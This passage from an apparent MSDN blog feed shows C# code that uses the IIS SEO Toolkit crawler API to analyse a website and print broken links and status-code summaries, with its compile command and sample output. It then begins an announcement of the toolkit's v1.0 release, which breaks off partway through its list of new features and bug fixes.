color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#2b91af"&gt;Console&lt;/font&gt;&lt;font color="#000000"&gt;.WriteLine()&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#2b91af"&gt;Console&lt;/font&gt;&lt;font color="#000000"&gt;.WriteLine(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;----------------------------&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#2b91af"&gt;Console&lt;/font&gt;&lt;font color="#000000"&gt;.WriteLine(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot; Overview&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#2b91af"&gt;Console&lt;/font&gt;&lt;font color="#000000"&gt;.WriteLine(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;----------------------------&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#2b91af"&gt;Console&lt;/font&gt;&lt;font color="#000000"&gt;.WriteLine(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;Start URL:&amp;#160; {0}&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;,&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;report.Settings.StartUrl)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#2b91af"&gt;Console&lt;/font&gt;&lt;font color="#000000"&gt;.WriteLine(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;Start Time: {0}&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;,&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;report.Settings.StartTime)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#2b91af"&gt;Console&lt;/font&gt;&lt;font color="#000000"&gt;.WriteLine(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;End Time:&amp;#160;&amp;#160; {0}&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;,&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;report.Settings.EndTime)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#2b91af"&gt;Console&lt;/font&gt;&lt;font color="#000000"&gt;.WriteLine(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;URLs:&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; {0}&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;,&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;report.GetUrlCount())&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#2b91af"&gt;Console&lt;/font&gt;&lt;font color="#000000"&gt;.WriteLine(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;Links:&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; {0}&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;,&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;report.Settings.LinkCount)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#2b91af"&gt;Console&lt;/font&gt;&lt;font color="#000000"&gt;.WriteLine(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;Violations: {0}&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;,&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;report.Settings.ViolationCount)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;}&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;private&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;static&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;void&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;LogBrokenLinks(CrawlerReport&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;report)&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;{&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#2b91af"&gt;Console&lt;/font&gt;&lt;font color="#000000"&gt;.WriteLine()&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#2b91af"&gt;Console&lt;/font&gt;&lt;font color="#000000"&gt;.WriteLine(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;----------------------------&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#2b91af"&gt;Console&lt;/font&gt;&lt;font color="#000000"&gt;.WriteLine(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot; Broken links&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#2b91af"&gt;Console&lt;/font&gt;&lt;font color="#000000"&gt;.WriteLine(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;----------------------------&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;foreach&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;(&lt;/font&gt;&lt;font color="#0000ff"&gt;var&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;item&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;in&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;from&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;url&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;in&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;report.GetUrls()&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;where&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;url.StatusCode&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;==&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;HttpStatusCode.NotFound&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;&amp;amp;&amp;amp;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;!url.IsExternal&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;orderby&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;url.Url.AbsoluteUri&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;ascending&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;select&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;url)&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;{&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#2b91af"&gt;Console&lt;/font&gt;&lt;font color="#000000"&gt;.WriteLine(item.Url.AbsoluteUri)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;}&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;}&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;private&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;static&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;void&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;LogStatusCodeSummary(CrawlerReport&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;report)&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;{&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#2b91af"&gt;Console&lt;/font&gt;&lt;font color="#000000"&gt;.WriteLine()&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#2b91af"&gt;Console&lt;/font&gt;&lt;font color="#000000"&gt;.WriteLine(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;----------------------------&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#2b91af"&gt;Console&lt;/font&gt;&lt;font color="#000000"&gt;.WriteLine(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot; Status Code summary&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#2b91af"&gt;Console&lt;/font&gt;&lt;font color="#000000"&gt;.WriteLine(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;----------------------------&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;foreach&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;(&lt;/font&gt;&lt;font color="#0000ff"&gt;var&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;item&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;in&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;from&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;url&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;in&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;report.GetUrls()&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;group&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;url&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;by&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;url.StatusCode&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;into&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;g&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;orderby&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;g.Key&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;select&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;g)&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;{&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#2b91af"&gt;Console&lt;/font&gt;&lt;font color="#000000"&gt;.WriteLine(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;{0,20} - {1,5:N0}&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;,&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;item.Key,&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;item.Count())&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;}&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;}&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;}&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#000000"&gt;}&lt;/font&gt; &lt;/div&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;If you are not using Visual Studio, &lt;/strong&gt;you can just save the contents above in a file, call it &lt;font color="#000000"&gt;SEORunner&lt;/font&gt;.cs and compile it using the command line:&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;C:\Windows\Microsoft.NET\Framework\v3.5\csc.exe /r:&amp;quot;c:\Program Files\Reference Assemblies\Microsoft\IIS\Microsoft.Web.Management.SEO.Client.dll&amp;quot; /optimize+ &lt;font color="#000000"&gt;SEORunner&lt;/font&gt;.cs&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;After that you should be able to run SEORunner.exe and pass the URL of your site as a argument, you will see an output like:&lt;/p&gt;  &lt;div class="code"&gt;   &lt;pre&gt;Processed - Remaining - Download Size
       56 -       149 -      0.93 MB
      127 -       160 -      2.26 MB
      185 -       108 -      3.24 MB
      228 -        72 -      4.16 MB
      254 -        48 -      4.98 MB
      277 -        36 -      5.36 MB
      295 -        52 -      6.57 MB
      323 -        25 -      7.53 MB
      340 -         9 -      8.05 MB
      358 -         1 -      8.62 MB
      362 -         0 -      8.81 MB
Crawling complete!!!

----------------------------
 Overview
----------------------------
Start URL:  http://www.carlosag.net/
Start Time: 11/16/2009 12:16:04 AM
End Time:   11/16/2009 12:16:15 AM
URLs:       362
Links:      3463
Violations: 838

----------------------------
 Status Code summary
----------------------------
                  OK -   319
    MovedPermanently -    17
               Found -    23
            NotFound -     2
 InternalServerError -     1

----------------------------
 Broken links
----------------------------
http://www.carlosag.net/downloads/ExcelSamples.zip&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;&amp;#160;&lt;/p&gt;

&lt;p&gt;The most interesting method above is RunAnalysis, it creates a new instance of the CrawlerSettings and specifies the start URL. Note that it also specifies that we should consider internal all the pages that are hosted in the same directory or subdirectories. We also set the a unique name for the report and use the same directory as the IIS SEO UI uses so that opening IIS Manager will show the reports just as if they were generated by it. Then we finally call Start() which will start the number of worker threads specified in the WebCrawler::WorkerCount property. We finally just wait for the WebCrawler to be done by querying the IsRunning property.&lt;/p&gt;

&lt;p&gt;The remaining methods just leverage LINQ to perform a few queries to output things like a report aggregating all the URLs processed by Status code and more.&lt;/p&gt;

&lt;p&gt;&lt;/p&gt;

&lt;h2&gt;Summary&lt;/h2&gt;

&lt;p&gt;As you can see the IIS SEO Toolkit crawling APIs allow you to easily write your own application to start the analysis against your Web site which can be easily integrated with the Windows Task Scheduler or your own scripts or build system to easily allow for continuous integration. &lt;/p&gt;

&lt;p&gt;Once the report is saved locally it can then be opened using IIS Manager and continue further analysis as with any other report. This sample console application can be scheduled using the Windows Task Scheduler so that it can run every night or at any time. Note that you could also write a few lines of PowerShell to automate it without the need of writing C# code and do that by only command line, but that is left for another post.&lt;/p&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=9924091" width="1" height="1"&gt;</content><author><name>CarlosAg</name><uri>http://blogs.msdn.com/members/CarlosAg.aspx</uri></author><category term="IIS" scheme="http://blogs.msdn.com/carlosag/archive/tags/IIS/default.aspx" /><category term="SEO" scheme="http://blogs.msdn.com/carlosag/archive/tags/SEO/default.aspx" /></entry><entry><title>Announcing: IIS SEO Toolkit v1.0 release</title><link rel="alternate" type="text/html" href="http://blogs.msdn.com/carlosag/archive/2009/11/17/announcing-iis-seo-toolkit-v1-0-release.aspx" /><id>http://blogs.msdn.com/carlosag/archive/2009/11/17/announcing-iis-seo-toolkit-v1-0-release.aspx</id><published>2009-11-17T21:06:21Z</published><updated>2009-11-17T21:06:21Z</updated><content type="html">&lt;p&gt;Today we are announcing the final release of the &lt;a href="http://www.iis.net/extensions/SEOToolkit" target="_blank"&gt;IIS Search Engine Optimization (SEO) Toolkit v1.0&lt;/a&gt;. This version builds upon the &lt;a href="http://blogs.msdn.com/carlosag/archive/2009/06/03/iis-search-engine-optimization-toolkit-beta-1.aspx" target="_blank"&gt;Beta 1&lt;/a&gt; and &lt;a href="http://blogs.msdn.com/carlosag/archive/2009/09/25/iis-search-engine-optimization-seo-toolkit-announcing-beta-2.aspx" target="_blank"&gt;Beta 2&lt;/a&gt; versions and is 100% compatible with those versions so any report you currently have continues to work in the new version. The new version includes a set of bug fixes and new features such as:&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;&lt;strong&gt;Extensibility&lt;/strong&gt;. In this version we are opening a new set of API's to allow you to develop extensions for the crawling process, including the ability to augment the metadata in the report with your own, extend the set of tasks provided in the Site Analysis and Sitemaps User Interface and more. More on this on a upcoming post.&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;New Reports&lt;/strong&gt;. Based on feedback we added a Redirects summary report in the Links section as well as a new Link Depth report that allows you to easily know which pages are the &amp;quot;most hidden pages&amp;quot; in your site, or in other words if a user landed at your sites home page, &amp;quot;how many clicks does he need to do to reach a particular page&amp;quot;.&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;New Routes Query&lt;/strong&gt;. We added a new type of Query called Routes. This is the underlying data that powers the &amp;quot;Link Depth&amp;quot; report mentioned above, however it is also exposed as a new query type so that you can create your own queries to customize the Start page and any other kind of things, like filtering, grouping, etc.&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;New option to opt-out from keeping a local cache of files&lt;/strong&gt;. We added a new switch in the &amp;quot;Advanced Settings&amp;quot; of the New Analysis dialog to disable the option of keeping the files stored locally. This allows you to run a report which runs faster and that consumes a lot less disk space than when keeping the files cached. The only side effect is that you will not be able to get the &amp;quot;Content&amp;quot; tab and the contextual position of the links as well as the Word Analysis feature. Everything else continues to work just as any other report. &lt;/li&gt;    &lt;li&gt;&lt;strong&gt;HTML Metadata is now stored in the Report&lt;/strong&gt;. By leveraging the Extensibility mentioned in bullet 1, the HTML parser now stores all the HTML META tags content so that you can later use them to write your own queries, whether to filter, group data or just export it, this gives you a very interesting set of options if you have any metadata like Author, or any custom.&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;Several Bug Fixes&lt;/strong&gt;:&lt;/li&gt;    &lt;ol&gt;     &lt;li&gt;Internal URLs linked by External URLs now are also included in the crawling process.&lt;/li&gt;      &lt;li&gt;Groupings in queries should be case sensitive&lt;/li&gt;      &lt;li&gt;Show contextual information (link position) in Routes&lt;/li&gt;      &lt;li&gt;The Duplicate detection logic should only include valid responses (do not include 404 NOT Found, 401, etc)&lt;/li&gt;      